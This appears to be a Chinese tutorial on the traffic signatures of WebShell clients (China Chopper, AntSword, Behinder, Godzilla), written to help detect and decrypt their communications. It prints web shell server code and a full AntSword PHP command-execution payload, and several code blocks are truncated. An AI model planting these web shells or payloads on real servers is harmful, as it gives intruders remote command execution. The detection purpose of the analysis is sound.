总字符数: 29.74K
代码: 22.58K, 文本: 2.37K
预计阅读时间: 1.81 小时
常用的WebShell客户端
- 中国菜刀(使用量最大,适用范围最广的WebShell客户端)
- 蚁剑(一种常用的WebShell客户端)
- 冰蝎(自定义加密流量客户端)
- 哥斯拉
- Weevely(kali中的加密客户端)
C刀
PHP类WebShell链接流量
1 | POST /1.php HTTP/1.1 |
其中特征点有如下三部分
- “eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
(base64_decode($\_POST[action]))
,(base64_decode($_POST[action]))
将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;&z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA=
,该部分是传递攻击payload,此参数z1对应$_POST[z1]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文
注:
- 有少数时候eval方法会被assert方法替代
- $_POST也会被_GET、$_REQUEST替代
- z1是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
中国蚁剑(AntSword)
1 | POST /wp-content/themes/twentytwenty/header.php HTTP/1.1 |
对上方进行URL解码后显示如下
1 | a=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2f95956";echo @asenc($output);echo "aad7a6fedd4";}ob_start();try{$p=base64_decode(substr($_POST["oba9958b61aab5"],2));$s=base64_decode(substr($_POST["x958c36f4a4706"],2));$envstr=@base64_decode(substr($_POST["m33f4b7bc545c7"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join(" |
通过上方可分析出蚁剑通过POST接收了三个参数
- oba9958b61aab5
- x958c36f4a4706
- m33f4b7bc545c7
1 | #先提取出第一个参数的值也就是a的值 |
可以发现其实就是Webshell
的功能实现.然后找到剩下的三个值后,将前面两个字符删除,因为上方代码中有substr
函数
1 | cd /d "c:\\wwwroot\\192.168.232.135\\wp-content\\themes\\twentytwenty"&whoami&echo [S]&cd&echo [E] |
蚁剑绕过特征流量
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以_0x......=
这种形式(下划线可替换为其他).所以,以_0x
开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征
冰蝎
冰蝎 V2
- 当冰蝎第一次访问服务器webshell时,以GET方式提交随机数字,因此服务器将会生成16位的随机字符串,写入session后通过print函数将密钥返回客户端
- 冰蝎第二次访问服务器时以相同方式更新密钥
- 经过一次密钥产生与一次密钥更新后,双方开始以对称密钥进行加密通信,首先是冰蝎向服务器发送加密数据,而解密函数在webshell中
- 以下是实际冰蝎的攻击Payload
jspShell
来源:黑伞安全
解密代码如下:
1 | #coding:utf-8 |
对上方冰蝎V2 jsp请求流量解密后自动保存为class文件,即可使用jadx进行反编译得到原来的Class
1 | package net.rebeyond.behinder.payload.java; |
可以看到上方主要是用来获取系统的相关信息,由于运行环境不同,得到的内容也是不同的
冰蝎 V3
3.0 相比 2.0 少了动态密钥的获取的请求,aes 密钥变为 md5(“pass”)[0:16]意思为连接密码 32 位 md5 的前 16 位.全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息
流量如下:
1
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
解密后:
将以上内容进行解码,得到以下内容,发现执行了phpinfo()
找到对应的shell3.php将密钥取出来就可以对响应的流量进行aes解密
冰蝎 V4
- 客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;
- 服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;
- 执行结果通过AES加密后返回给攻击者。
常见特征
流量特征
1
2$post=Decrypt(file_get_contents("php://input"));
eval($post);检测思路
content字段中,将eval($post)作为流量特征纳入冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection.
Connection: Keep-Alive
找到webshell后可以相应的找到解密函数,以及加密函数
哥斯拉
PHP_XOR_BASE64加密shell分析
哥斯拉的Shell配置包括基本配置
和请求配置
。其中基本配置
主要设置shell地址、密码、密钥、加密器等信息
这里要注意密码
和密钥
的不同:密码
:和蚁剑、菜刀一样,密码
就是POST请求中的参数名称。例如,在本例中密码为pass
,那么哥斯拉提交的每个请求都是pass=xxxxxxxx
这种形式密钥
:用于对请求数据进行加密,不过加密过程中并非直接使用密钥
明文,而是计算密钥
的md5值,然后取其前16位用于加密过程
哥斯拉shell的请求配置
主要用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征
Shell服务端代码
1 |
|
shell流量加密过程分析
这里从Shell Setting对话框中的测试连接
操作开始分析。在Shell Setting对话框中,设置代理为Burp,然后点击测试连接
按钮,可以看到一共会产生3个POST
数据包,POST请求报文中参数名都是pass
(即shell的连接密码),参数值都是加密数据。
第一次请求:
第1个请求会发送大量数据,该请求不含有任何Cookie
信息,服务器响应报文不含任何数据,但是会设置PHPSESSID
,后续请求都会自动带上该Cookie。
第二次请求:
可以看到,第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie
值,并且第2个请求中只有少量的数据
第3个请求与第2个请求完全一致
哥斯拉解密PHP脚本:https://github.com/think3t/godzilla_decoder
JSP_AES_BASE64加密分析
1 | <%! |
通过 抓包可以得到以下流量,可以发现其实和PHP的差不多,jsp还有一个强特征,那就是测试的这三条数据的大小为长长短
我们进入shell之后,随便抓取一条流量就可以拿到任意一个哥斯拉解密软件中,即可解密,如图: